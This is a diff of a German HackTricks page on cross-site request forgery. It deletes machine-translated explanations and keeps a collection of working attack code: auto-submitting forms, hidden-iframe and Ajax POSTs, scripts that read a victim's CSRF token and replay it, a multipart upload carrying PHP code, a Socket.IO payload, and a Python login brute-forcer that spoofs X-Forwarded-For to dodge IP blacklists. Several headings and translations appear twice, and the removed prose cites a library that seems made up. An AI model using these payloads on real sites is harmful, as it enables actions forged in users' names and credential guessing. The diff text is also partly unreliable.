### **Exfiltration des CSRF-Tokens**
|
||||
|
||||
Wenn ein **CSRF-Token** als **Schutzmaßnahme** verwendet wird, könnten Sie versuchen, es durch Ausnutzung einer [XSS](xss-cross-site-scripting/#xss-stealing-csrf-tokens)-Schwachstelle oder einer [Dangling Markup](dangling-markup-html-scriptless-injection/)-Schwachstelle zu **exfiltrieren**.
|
||||
Wenn ein **CSRF-Token** als **Schutzmaßnahme** verwendet wird, könnten Sie versuchen, es durch eine [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)-Verwundbarkeit oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/)-Verwundbarkeit **zu exfiltrieren**.
|
||||
|
||||
### **GET mit HTML-Tags**
|
||||
```xml
|
||||
|
@ -227,29 +233,6 @@ body { background: url('...'); }
|
|||
<input type="image" src="..." alt="Submit Button">
|
||||
```
|
||||
### Formular GET-Anfrage
|
||||
|
||||
A GET request is a type of HTTP request that is used to retrieve data from a server. In the context of web forms, a GET request is typically used when submitting a form that does not have any side effects, such as changing data on the server.
|
||||
|
||||
To send a GET request, the form's `method` attribute should be set to "GET" and the form's `action` attribute should specify the URL of the server endpoint that will handle the request. When the form is submitted, the data entered into the form fields will be appended to the URL as query parameters.
|
||||
|
||||
For example, consider the following form:
|
||||
|
||||
```html
|
||||
<form method="GET" action="/search">
|
||||
<input type="text" name="query" placeholder="Search...">
|
||||
<button type="submit">Search</button>
|
||||
</form>
|
||||
```
|
||||
|
||||
In this case, when the form is submitted, the browser will send a GET request to the `/search` endpoint with the value entered into the `query` input field as a query parameter. The resulting URL might look like this:
|
||||
|
||||
```
|
||||
https://example.com/search?query=example
|
||||
```
|
||||
|
||||
The server can then use the query parameter to process the request and return the appropriate response.
|
||||
|
||||
It's important to note that GET requests should not be used for sensitive operations or when submitting data that should be kept private, as the data is visible in the URL and can be easily intercepted or cached by intermediaries. For such cases, a POST request should be used instead.
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
|
@ -266,26 +249,6 @@ document.forms[0].submit();
|
|||
</html>
|
||||
```
|
||||
### Form POST-Anfrage
|
||||
|
||||
Eine Form POST-Anfrage wird verwendet, um Daten von einem Client an einen Server zu senden. Dies geschieht normalerweise, wenn ein Benutzer ein Formular auf einer Webseite ausfüllt und auf die Schaltfläche "Senden" klickt.
|
||||
|
||||
Um eine Form POST-Anfrage durchzuführen, muss der Client die Daten in einem bestimmten Format an den Server senden. Dieses Format wird normalerweise durch das `Content-Type`-Header-Feld angegeben, das auf `application/x-www-form-urlencoded` gesetzt ist.
|
||||
|
||||
Die Daten werden dann im Body der Anfrage als Schlüssel-Wert-Paare übertragen. Jeder Schlüssel repräsentiert ein Formularfeld und der zugehörige Wert ist der vom Benutzer eingegebene Wert.
|
||||
|
||||
Ein Beispiel für eine Form POST-Anfrage könnte wie folgt aussehen:
|
||||
|
||||
```html
|
||||
<form action="/login" method="POST">
|
||||
<input type="text" name="username" value="admin">
|
||||
<input type="password" name="password" value="password123">
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
```
|
||||
|
||||
In diesem Beispiel werden die Benutzername- und Passwortdaten über das Formular an den Server gesendet, wenn der Benutzer auf die Schaltfläche "Login" klickt. Der Server kann dann diese Daten verarbeiten und entsprechend reagieren.
|
||||
|
||||
Es ist wichtig zu beachten, dass CSRF (Cross-Site Request Forgery) eine potenzielle Sicherheitslücke bei Form POST-Anfragen darstellen kann. Bei einem CSRF-Angriff kann ein Angreifer eine bösartige Webseite erstellen, die den Benutzer dazu verleitet, eine Form POST-Anfrage auf einer legitimen Webseite auszuführen, ohne dass der Benutzer es merkt. Um CSRF-Angriffe zu verhindern, können verschiedene Schutzmechanismen wie CSRF-Token implementiert werden.
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -301,17 +264,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Formular POST-Anfrage über iframe
|
||||
|
||||
Eine Möglichkeit, eine Cross-Site Request Forgery (CSRF)-Attacke durchzuführen, besteht darin, eine Formular POST-Anfrage über ein iframe-Element zu senden. Dies ermöglicht es dem Angreifer, eine bösartige Aktion im Namen des Opfers auszuführen, ohne dass das Opfer es bemerkt.
|
||||
|
||||
Um diese Technik anzuwenden, muss der Angreifer eine Webseite erstellen, die das Opfer besuchen wird. Auf dieser Webseite wird ein unsichtbares iframe-Element platziert, das auf die Zielseite verweist, auf der sich das Formular befindet, das der Angreifer manipulieren möchte.
|
||||
|
||||
Der Angreifer kann das Formular so gestalten, dass es die gewünschten Daten enthält und automatisch abgesendet wird, sobald die Zielseite geladen ist. Dies geschieht mithilfe von JavaScript, das im iframe-Element eingebettet ist.
|
||||
|
||||
Wenn das Opfer die bösartige Webseite besucht, wird das iframe geladen und das Formular automatisch abgesendet, ohne dass das Opfer es bemerkt. Die Zielseite behandelt die Anfrage als gültig, da sie von der gleichen Domain stammt, und führt die Aktion im Namen des Opfers aus.
|
||||
|
||||
Um sich vor dieser Art von Angriff zu schützen, sollten Entwickler geeignete Sicherheitsmaßnahmen ergreifen, wie z.B. die Verwendung von Anti-CSRF-Token oder das Überprüfen des Referrer-Headers, um sicherzustellen, dass Anfragen nur von vertrauenswürdigen Quellen stammen.
|
||||
### Form POST-Anfrage über iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
@ -330,14 +283,6 @@ document.forms[0].submit();
|
|||
</html>
|
||||
```
|
||||
### **Ajax POST-Anfrage**
|
||||
|
||||
Eine Ajax POST-Anfrage wird verwendet, um Daten an einen Server zu senden, ohne die Seite neu zu laden. Dies kann für Cross-Site Request Forgery (CSRF) Angriffe ausgenutzt werden, bei denen ein Angreifer eine bösartige Anfrage im Namen des Opfers an den Server sendet.
|
||||
|
||||
Um eine CSRF-Angriff durchzuführen, muss der Angreifer eine bösartige Webseite erstellen, die den Opferbrowser dazu bringt, eine Ajax POST-Anfrage an die Ziel-URL zu senden. Diese Anfrage enthält normalerweise sensible Daten oder Aktionen, die im Namen des Opfers ausgeführt werden sollen.
|
||||
|
||||
Um sich vor CSRF-Angriffen zu schützen, können verschiedene Maßnahmen ergriffen werden, wie z.B. die Verwendung von CSRF-Token, die Überprüfung des Referrer-Headers oder die Implementierung von Same-Site-Cookies.
|
||||
|
||||
Es ist wichtig, dass Entwickler sich bewusst sind, wie CSRF-Angriffe funktionieren und wie sie vermieden werden können, um die Sicherheit ihrer Webanwendungen zu gewährleisten.
|
||||
```html
|
||||
<script>
|
||||
var xh;
|
||||
|
@ -365,40 +310,6 @@ data: "param=value¶m2=value2"
|
|||
</script>
|
||||
```
|
||||
### multipart/form-data POST-Anfrage
|
||||
|
||||
Eine `multipart/form-data` POST-Anfrage wird verwendet, um Daten an einen Server zu senden, insbesondere wenn es sich um Dateien handelt. Diese Art von Anfrage wird häufig verwendet, um Formulardaten hochzuladen.
|
||||
|
||||
Um eine `multipart/form-data` POST-Anfrage zu erstellen, müssen Sie den `Content-Type`-Header auf `multipart/form-data` setzen und die Daten im Body der Anfrage im entsprechenden Format senden.
|
||||
|
||||
Das Format einer `multipart/form-data` POST-Anfrage besteht aus mehreren Teilen, die durch eine eindeutige Trennzeichen-Zeichenkette voneinander getrennt sind. Jeder Teil enthält einen Header und den zugehörigen Inhalt.
|
||||
|
||||
Hier ist ein Beispiel für eine `multipart/form-data` POST-Anfrage:
|
||||
|
||||
```http
|
||||
POST /upload HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: multipart/form-data; boundary=---------------------------1234567890
|
||||
|
||||
-----------------------------1234567890
|
||||
Content-Disposition: form-data; name="file"; filename="example.txt"
|
||||
Content-Type: text/plain
|
||||
|
||||
Inhalt der Datei...
|
||||
|
||||
-----------------------------1234567890
|
||||
Content-Disposition: form-data; name="name"
|
||||
|
||||
John Doe
|
||||
-----------------------------1234567890--
|
||||
```
|
||||
|
||||
In diesem Beispiel wird eine Datei mit dem Namen "example.txt" hochgeladen und ein zusätzliches Feld mit dem Namen "name" gesendet.
|
||||
|
||||
Beachten Sie, dass das Trennzeichen (`boundary`) eindeutig sein muss und nicht in den Daten selbst vorkommen darf. Es wird verwendet, um die einzelnen Teile der Anfrage zu identifizieren.
|
||||
|
||||
Bei der Verarbeitung einer `multipart/form-data` POST-Anfrage auf dem Server müssen Sie den Inhalt jedes Teils analysieren und die entsprechenden Aktionen ausführen, z. B. das Speichern der hochgeladenen Datei oder das Verarbeiten der Formulardaten.
|
||||
|
||||
Es ist wichtig zu beachten, dass CSRF (Cross-Site Request Forgery) Angriffe bei `multipart/form-data` POST-Anfragen nicht so einfach durchgeführt werden können wie bei anderen Arten von Anfragen. CSRF-Schutzmaßnahmen wie das Hinzufügen eines CSRF-Tokens sollten dennoch implementiert werden, um die Sicherheit der Anwendung zu gewährleisten.
|
||||
```javascript
|
||||
myFormData = new FormData();
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||||
|
@ -411,36 +322,7 @@ headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
|||
mode: "no-cors"
|
||||
});
|
||||
```
|
||||
### multipart/form-data POST-Anfrage v2
|
||||
|
||||
In this technique, we will explore how to perform a CSRF attack using a multipart/form-data POST request. This type of request is commonly used when uploading files or submitting forms that contain binary data.
|
||||
|
||||
#### Understanding the Attack
|
||||
|
||||
A CSRF attack occurs when an attacker tricks a victim into unknowingly performing an action on a web application that they are authenticated to. By exploiting the trust between the victim and the application, the attacker can perform actions on behalf of the victim without their consent.
|
||||
|
||||
#### Crafting the Attack
|
||||
|
||||
To perform a CSRF attack using a multipart/form-data POST request, follow these steps:
|
||||
|
||||
1. Identify the target web application and the action you want to perform on behalf of the victim.
|
||||
2. Create a malicious webpage or email that contains a form with the necessary fields to perform the action.
|
||||
3. Include a hidden field named "_csrf" in the form. This field should contain the CSRF token required by the target application to validate the request.
|
||||
4. Set the form's "action" attribute to the URL of the target application's endpoint that performs the desired action.
|
||||
5. Set the form's "method" attribute to "POST" and the "enctype" attribute to "multipart/form-data".
|
||||
6. Populate the form fields with the necessary data to perform the action.
|
||||
7. Submit the form using JavaScript or by tricking the victim into submitting it.
|
||||
|
||||
#### Mitigating CSRF Attacks
|
||||
|
||||
To protect against CSRF attacks, web applications can implement the following measures:
|
||||
|
||||
1. Use CSRF tokens: Include a unique CSRF token in each form and validate it on the server-side before processing the request.
|
||||
2. Implement SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" on cookies to prevent them from being sent in cross-site requests.
|
||||
3. Use anti-CSRF libraries: Utilize libraries or frameworks that provide built-in protection against CSRF attacks.
|
||||
4. Educate users: Raise awareness among users about the risks of clicking on suspicious links or submitting forms on untrusted websites.
|
||||
|
||||
By understanding how CSRF attacks work and implementing appropriate security measures, web applications can effectively protect against this type of attack.
|
||||
### multipart/form-data POST-Anforderung v2
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
|
@ -460,36 +342,7 @@ body += "--" + boundary + "--";
|
|||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body);
|
||||
```
|
||||
### Form POST-Anfrage aus einem iframe heraus
|
||||
|
||||
To perform a Cross-Site Request Forgery (CSRF) attack using an iframe, you can create a hidden form within the iframe and submit it automatically. This technique allows you to trick the victim's browser into making a POST request to a target website without their knowledge or consent.
|
||||
|
||||
Um einen Cross-Site Request Forgery (CSRF)-Angriff mithilfe eines iframes durchzuführen, können Sie ein verstecktes Formular innerhalb des iframes erstellen und es automatisch absenden. Diese Technik ermöglicht es Ihnen, den Browser des Opfers zu täuschen und eine POST-Anfrage an eine Zielseite zu senden, ohne dass das Opfer davon weiß oder zustimmt.
|
||||
|
||||
Here's an example of how you can implement this attack:
|
||||
|
||||
Hier ist ein Beispiel, wie Sie diesen Angriff durchführen können:
|
||||
|
||||
```html
|
||||
<iframe id="csrf-frame" style="display:none;"></iframe>
|
||||
<script>
|
||||
var csrfFrame = document.getElementById('csrf-frame');
|
||||
var csrfForm = document.createElement('form');
|
||||
csrfForm.method = 'POST';
|
||||
csrfForm.action = 'https://target-website.com/update-profile';
|
||||
csrfForm.innerHTML = '<input type="hidden" name="username" value="attacker"><input type="hidden" name="email" value="attacker@example.com">';
|
||||
csrfFrame.contentDocument.body.appendChild(csrfForm);
|
||||
csrfForm.submit();
|
||||
</script>
|
||||
```
|
||||
|
||||
In this example, we create an iframe with the ID "csrf-frame" and set its display property to "none" to hide it from the user. We then create a form element using JavaScript and set its method to "POST" and action to the target website's URL. Inside the form, we include hidden input fields with the desired values for the username and email fields. Finally, we append the form to the iframe's document body and submit it.
|
||||
|
||||
In diesem Beispiel erstellen wir ein iframe mit der ID "csrf-frame" und setzen seine Anzeige-Eigenschaft auf "none", um es für den Benutzer zu verbergen. Anschließend erstellen wir ein Formularelement mit JavaScript und setzen seine Methode auf "POST" und die Aktion auf die URL der Zielseite. Innerhalb des Formulars fügen wir versteckte Eingabefelder mit den gewünschten Werten für den Benutzernamen und die E-Mail-Adresse hinzu. Schließlich fügen wir das Formular dem Dokumentkörper des iframes hinzu und senden es ab.
|
||||
|
||||
When the victim visits a page containing this iframe, the form will be automatically submitted, sending the POST request to the target website. The victim's browser will include any cookies associated with the target website, allowing the attacker to perform actions on behalf of the victim.
|
||||
|
||||
Wenn das Opfer eine Seite besucht, die dieses iframe enthält, wird das Formular automatisch abgesendet und die POST-Anfrage an die Zielseite gesendet. Der Browser des Opfers enthält alle Cookies, die mit der Zielseite verknüpft sind, was es dem Angreifer ermöglicht, im Namen des Opfers Aktionen durchzuführen.
|
||||
### Form POST-Anfrage innerhalb eines Iframes
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
|
@ -508,23 +361,6 @@ function envia(){document.getElementById("formulario").submit();}
|
|||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||||
```
|
||||
### **CSRF-Token stehlen und eine POST-Anfrage senden**
|
||||
|
||||
Eine Cross-Site Request Forgery (CSRF)-Attacke ermöglicht es einem Angreifer, eine Aktion im Namen eines authentifizierten Benutzers auszuführen, ohne dass dieser es bemerkt. Um eine CSRF-Attacke durchzuführen, muss der Angreifer den CSRF-Token des Benutzers stehlen und dann eine POST-Anfrage mit diesem Token senden.
|
||||
|
||||
Um den CSRF-Token zu stehlen, kann der Angreifer verschiedene Techniken verwenden, wie z.B. das Ausnutzen von Schwachstellen in der Anwendung oder das Ausführen von Social Engineering-Angriffen, um den Benutzer dazu zu bringen, auf einen präparierten Link zu klicken.
|
||||
|
||||
Sobald der Angreifer den CSRF-Token erhalten hat, kann er eine POST-Anfrage an die verwundbare Anwendung senden, um eine bösartige Aktion auszuführen. Diese Aktion kann je nach Anwendung variieren, z.B. das Ändern von Benutzerdaten, das Durchführen einer Geldüberweisung oder das Löschen von Inhalten.
|
||||
|
||||
Es ist wichtig zu beachten, dass CSRF-Token als Schutzmechanismus implementiert werden, um solche Angriffe zu verhindern. Entwickler sollten sicherstellen, dass CSRF-Token korrekt generiert und in allen relevanten Formularen und POST-Anfragen verwendet werden. Benutzer sollten auch vorsichtig sein und verdächtige Links oder Anfragen nicht ohne Überprüfung öffnen oder akzeptieren.
|
||||
|
||||
Um sich vor CSRF-Angriffen zu schützen, sollten Benutzer und Entwickler die folgenden bewährten Sicherheitspraktiken beachten:
|
||||
|
||||
- Verwenden Sie sichere und zufällig generierte CSRF-Token.
|
||||
- Überprüfen Sie die Herkunft von Anfragen und akzeptieren Sie nur Anfragen von vertrauenswürdigen Quellen.
|
||||
- Implementieren Sie zusätzliche Sicherheitsmaßnahmen wie das Hinzufügen von Captchas oder das Verlangen einer erneuten Authentifizierung für kritische Aktionen.
|
||||
- Halten Sie die Anwendung und alle verwendeten Bibliotheken auf dem neuesten Stand, um bekannte Sicherheitslücken zu beheben.
|
||||
|
||||
Durch die Umsetzung dieser Sicherheitsmaßnahmen können Benutzer und Entwickler das Risiko von CSRF-Angriffen erheblich reduzieren.
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
@ -571,41 +407,7 @@ var GET_URL="http://google.com?param=VALUE"
|
|||
var POST_URL="http://google.com?param=VALUE"
|
||||
getTokenJS();
|
||||
```
|
||||
### **Stehlen Sie das CSRF-Token und senden Sie eine POST-Anfrage mithilfe eines iframes, eines Formulars und Ajax**
|
||||
|
||||
Eine Möglichkeit, ein CSRF-Token zu stehlen und eine POST-Anfrage zu senden, besteht darin, eine Kombination aus einem iframe, einem Formular und Ajax zu verwenden.
|
||||
|
||||
1. Erstellen Sie ein unsichtbares iframe-Element auf Ihrer bösartigen Website, das auf die Zielseite mit dem CSRF-Token verweist.
|
||||
|
||||
```html
|
||||
<iframe id="csrfFrame" style="display:none;"></iframe>
|
||||
```
|
||||
|
||||
2. Erstellen Sie ein unsichtbares Formular auf Ihrer bösartigen Website, das die erforderlichen Daten für die POST-Anfrage enthält, einschließlich des gestohlenen CSRF-Tokens.
|
||||
|
||||
```html
|
||||
<form id="csrfForm" action="https://zielwebsite.com/post-endpoint" method="POST" style="display:none;">
|
||||
<input type="hidden" name="data" value="bösartige Daten">
|
||||
<input type="hidden" name="csrf_token" id="stolenToken">
|
||||
</form>
|
||||
```
|
||||
|
||||
3. Verwenden Sie Ajax, um das CSRF-Token aus dem iframe zu extrahieren und in das Formular einzufügen.
|
||||
|
||||
```javascript
|
||||
var csrfFrame = document.getElementById('csrfFrame');
|
||||
var csrfForm = document.getElementById('csrfForm');
|
||||
var stolenToken = csrfFrame.contentWindow.document.getElementById('csrfToken').value;
|
||||
csrfForm.querySelector('#stolenToken').value = stolenToken;
|
||||
```
|
||||
|
||||
4. Senden Sie die POST-Anfrage automatisch, indem Sie das Formular absenden.
|
||||
|
||||
```javascript
|
||||
csrfForm.submit();
|
||||
```
|
||||
|
||||
Durch diese Methode können Sie das CSRF-Token stehlen und eine POST-Anfrage im Namen des Opfers senden, ohne dass das Opfer es bemerkt.
|
||||
### **CSRF-Token stehlen und einen Post-Request mithilfe eines iframes, eines Formulars und Ajax senden**
|
||||
```html
|
||||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||||
<input type="text" name="username" value="AA">
|
||||
|
@ -625,39 +427,7 @@ document.getElementById("form1").submit();
|
|||
</script>
|
||||
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Stehlen Sie das CSRF-Token und senden Sie eine POST-Anfrage mithilfe eines Iframes und eines Formulars**
|
||||
|
||||
Eine Möglichkeit, ein CSRF-Token zu stehlen und eine POST-Anfrage zu senden, besteht darin, ein Iframe und ein Formular zu verwenden. Dieser Angriff kann erfolgreich sein, wenn die Zielseite anfällig für CSRF ist und das CSRF-Token im Quellcode der Seite verfügbar ist.
|
||||
|
||||
Hier ist der Schritt-für-Schritt-Prozess:
|
||||
|
||||
1. Erstellen Sie eine bösartige Webseite, die ein Iframe enthält. Das Iframe sollte auf die Zielseite verweisen, auf der das CSRF-Token gestohlen werden soll.
|
||||
|
||||
```html
|
||||
<iframe id="csrfFrame" src="https://zielseite.com"></iframe>
|
||||
```
|
||||
|
||||
2. Fügen Sie JavaScript-Code hinzu, der das CSRF-Token aus dem Iframe extrahiert und eine POST-Anfrage sendet. Das CSRF-Token kann normalerweise im Quellcode der Zielseite gefunden werden.
|
||||
|
||||
```html
|
||||
<script>
|
||||
var csrfToken = document.getElementById('csrfFrame').contentWindow.document.getElementsByName('csrf_token')[0].value;
|
||||
var form = document.createElement('form');
|
||||
form.method = 'POST';
|
||||
form.action = 'https://zielseite.com/action';
|
||||
var input = document.createElement('input');
|
||||
input.type = 'hidden';
|
||||
input.name = 'csrf_token';
|
||||
input.value = csrfToken;
|
||||
form.appendChild(input);
|
||||
document.body.appendChild(form);
|
||||
form.submit();
|
||||
</script>
|
||||
```
|
||||
|
||||
3. Wenn ein Benutzer die bösartige Webseite besucht, wird das Iframe geladen und das CSRF-Token aus dem Iframe extrahiert. Anschließend wird eine POST-Anfrage mit dem gestohlenen CSRF-Token an die Zielseite gesendet.
|
||||
|
||||
Dieser Angriff kann dazu führen, dass der Benutzer ungewollte Aktionen auf der Zielseite ausführt, da die POST-Anfrage mit dem gestohlenen CSRF-Token authentifiziert wird. Es ist wichtig zu beachten, dass dieser Angriff nur erfolgreich ist, wenn die Zielseite anfällig für CSRF ist und das CSRF-Token im Quellcode verfügbar ist.
|
||||
### **Stehlen Sie CSRF-Token und senden Sie eine POST-Anfrage mithilfe eines iframes und eines Formulars**
|
||||
```html
|
||||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||||
|
||||
|
@ -675,17 +445,7 @@ document.forms[0].submit.click();
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### **Token stehlen und mit 2 iframes senden**
|
||||
|
||||
Eine Möglichkeit, einen CSRF-Angriff durchzuführen, besteht darin, den CSRF-Token zu stehlen und ihn mithilfe von 2 iframes zu senden. Dieser Angriff kann in folgenden Schritten durchgeführt werden:
|
||||
|
||||
1. Der Angreifer erstellt eine bösartige Webseite, die zwei iframes enthält. Der erste iframe wird auf die Zielseite gesetzt, auf der der CSRF-Token generiert wird. Der zweite iframe wird auf eine vom Angreifer kontrollierte Seite gesetzt, auf der der gestohlene CSRF-Token gesendet wird.
|
||||
|
||||
2. Wenn ein Opfer die bösartige Webseite besucht, wird der erste iframe die Zielseite laden und dadurch den CSRF-Token generieren. Da der CSRF-Token in der Regel in einem Cookie oder einer versteckten Formularvariable gespeichert ist, kann der Angreifer den Token aus dem ersten iframe extrahieren.
|
||||
|
||||
3. Der gestohlene CSRF-Token wird dann mithilfe des zweiten iframes an den Angreifer gesendet. Der zweite iframe kann den Token an eine vom Angreifer kontrollierte Seite senden, auf der der Angreifer den Token für seine eigenen böswilligen Zwecke verwenden kann.
|
||||
|
||||
Dieser Angriff ermöglicht es dem Angreifer, Aktionen im Namen des Opfers auszuführen, da der gestohlene CSRF-Token verwendet wird, um die Authentizität des Anfrages zu überprüfen. Es ist wichtig, dass Entwickler geeignete Schutzmaßnahmen implementieren, um CSRF-Angriffe zu verhindern, wie z.B. die Verwendung von Anti-CSRF-Token und das Überprüfen des Referrer-Headers.
|
||||
### **Token stehlen und über 2 iframes senden**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
|
@ -715,31 +475,7 @@ height="600" width="800"></iframe>
|
|||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTStehlen Sie den CSRF-Token mit Ajax und senden Sie einen POST mit einem Formular**
|
||||
|
||||
Eine Möglichkeit, den CSRF-Token zu stehlen und einen POST-Request mit einem Formular zu senden, besteht darin, Ajax zu verwenden. Dies ermöglicht es uns, den CSRF-Token von der Zielseite abzurufen und ihn in unseren eigenen POST-Request einzufügen.
|
||||
|
||||
Hier ist der Code, um dies zu erreichen:
|
||||
|
||||
```javascript
|
||||
// CSRF-Token von der Zielseite abrufen
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', '/get_csrf_token', false);
|
||||
xhr.send();
|
||||
|
||||
// CSRF-Token aus der Antwort extrahieren
|
||||
var csrfToken = xhr.responseText.match(/<input type="hidden" name="csrf_token" value="(.*)" \/>/)[1];
|
||||
|
||||
// POST-Request mit dem gestohlenen CSRF-Token senden
|
||||
var postData = 'param1=value1¶m2=value2&csrf_token=' + csrfToken;
|
||||
xhr.open('POST', '/submit_form', true);
|
||||
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
|
||||
xhr.send(postData);
|
||||
```
|
||||
|
||||
Dieser Code ruft den CSRF-Token von der Zielseite ab, indem er einen GET-Request an `/get_csrf_token` sendet. Anschließend wird der CSRF-Token aus der Antwort extrahiert und in den POST-Request eingefügt, der an `/submit_form` gesendet wird.
|
||||
|
||||
Beachten Sie, dass dies nur ein Beispiel ist und je nach Zielseite und Implementierung variieren kann. Es ist wichtig, die Zielseite gründlich zu analysieren und die entsprechenden Anpassungen vorzunehmen, um den CSRF-Token erfolgreich zu stehlen und den POST-Request zu senden.
|
||||
### **POST CSRF-Token mit Ajax stehlen und einen Beitrag mit einem Formular senden**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -767,45 +503,6 @@ document.getElementById("form").submit();
|
|||
</script>
|
||||
```
|
||||
### CSRF mit Socket.IO
|
||||
|
||||
Socket.IO ist eine JavaScript-Bibliothek, die eine Echtzeitkommunikation zwischen Client und Server ermöglicht. Es verwendet WebSockets, um eine bidirektionale Kommunikation herzustellen. Bei der Verwendung von Socket.IO in einer Webanwendung ist es wichtig, sich vor Cross-Site Request Forgery (CSRF) zu schützen.
|
||||
|
||||
CSRF ist eine Angriffstechnik, bei der ein Angreifer eine Aktion im Namen eines authentifizierten Benutzers ausführt, ohne dass dieser Benutzer es beabsichtigt. Dies geschieht, indem der Angreifer den Benutzer dazu bringt, eine bösartige Anfrage an die Anwendung zu senden.
|
||||
|
||||
Um CSRF-Angriffe mit Socket.IO zu verhindern, können Sie das CSRF-Token-Verfahren verwenden. Hierbei wird ein eindeutiges Token generiert und an den Client gesendet. Der Client muss dieses Token bei jeder Socket.IO-Anfrage an den Server mitsenden. Der Server überprüft dann, ob das Token gültig ist, um sicherzustellen, dass die Anfrage vom richtigen Client stammt.
|
||||
|
||||
Um das CSRF-Token-Verfahren in Socket.IO zu implementieren, können Sie die `socketio-csrf`-Bibliothek verwenden. Diese Bibliothek erleichtert die Generierung und Überprüfung von CSRF-Token für Socket.IO-Anfragen.
|
||||
|
||||
Hier ist ein Beispiel, wie Sie die `socketio-csrf`-Bibliothek verwenden können:
|
||||
|
||||
```javascript
|
||||
const express = require('express');
|
||||
const http = require('http');
|
||||
const socketIO = require('socket.io');
|
||||
const socketIOCSRF = require('socketio-csrf');
|
||||
|
||||
const app = express();
|
||||
const server = http.createServer(app);
|
||||
const io = socketIO(server);
|
||||
|
||||
// CSRF-Token generieren und an den Client senden
|
||||
app.use(socketIOCSRF());
|
||||
|
||||
// Socket.IO-Verbindung herstellen
|
||||
io.on('connection', (socket) => {
|
||||
// CSRF-Token überprüfen
|
||||
socket.use(socketIOCSRF.check());
|
||||
|
||||
// Socket.IO-Ereignisse behandeln
|
||||
// ...
|
||||
});
|
||||
|
||||
server.listen(3000, () => {
|
||||
console.log('Server is running on port 3000');
|
||||
});
|
||||
```
|
||||
|
||||
Indem Sie das `socketio-csrf`-Middleware verwenden und das CSRF-Token bei jeder Socket.IO-Anfrage überprüfen, können Sie Ihre Anwendung vor CSRF-Angriffen schützen.
|
||||
```html
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
|
@ -828,7 +525,7 @@ room: username
|
|||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
Der Code kann verwendet werden, um ein Login-Formular mithilfe eines CSRF-Tokens mit Brute-Force anzugreifen (Es verwendet auch den Header X-Forwarded-For, um möglicherweise eine IP-Blacklist zu umgehen):
|
||||
Der Code kann verwendet werden, um ein Login-Formular mit einem CSRF-Token zu Brute-Forcen (Es verwendet auch den Header X-Forwarded-For, um zu versuchen, eine mögliche IP-Blacklist zu umgehen):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
@ -886,31 +583,31 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
|
||||
|
||||
**Hacking Insights**\
|
||||
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
|
||||
**Hacking-Einblicke**\
|
||||
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
|
||||
|
||||
**Echtzeit-Hack-News**\
|
||||
Bleiben Sie mit den schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
|
||||
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden
|
||||
|
||||
**Neueste Ankündigungen**\
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert
|
||||
|
||||
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
|
||||
**Treten Sie uns bei** auf [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
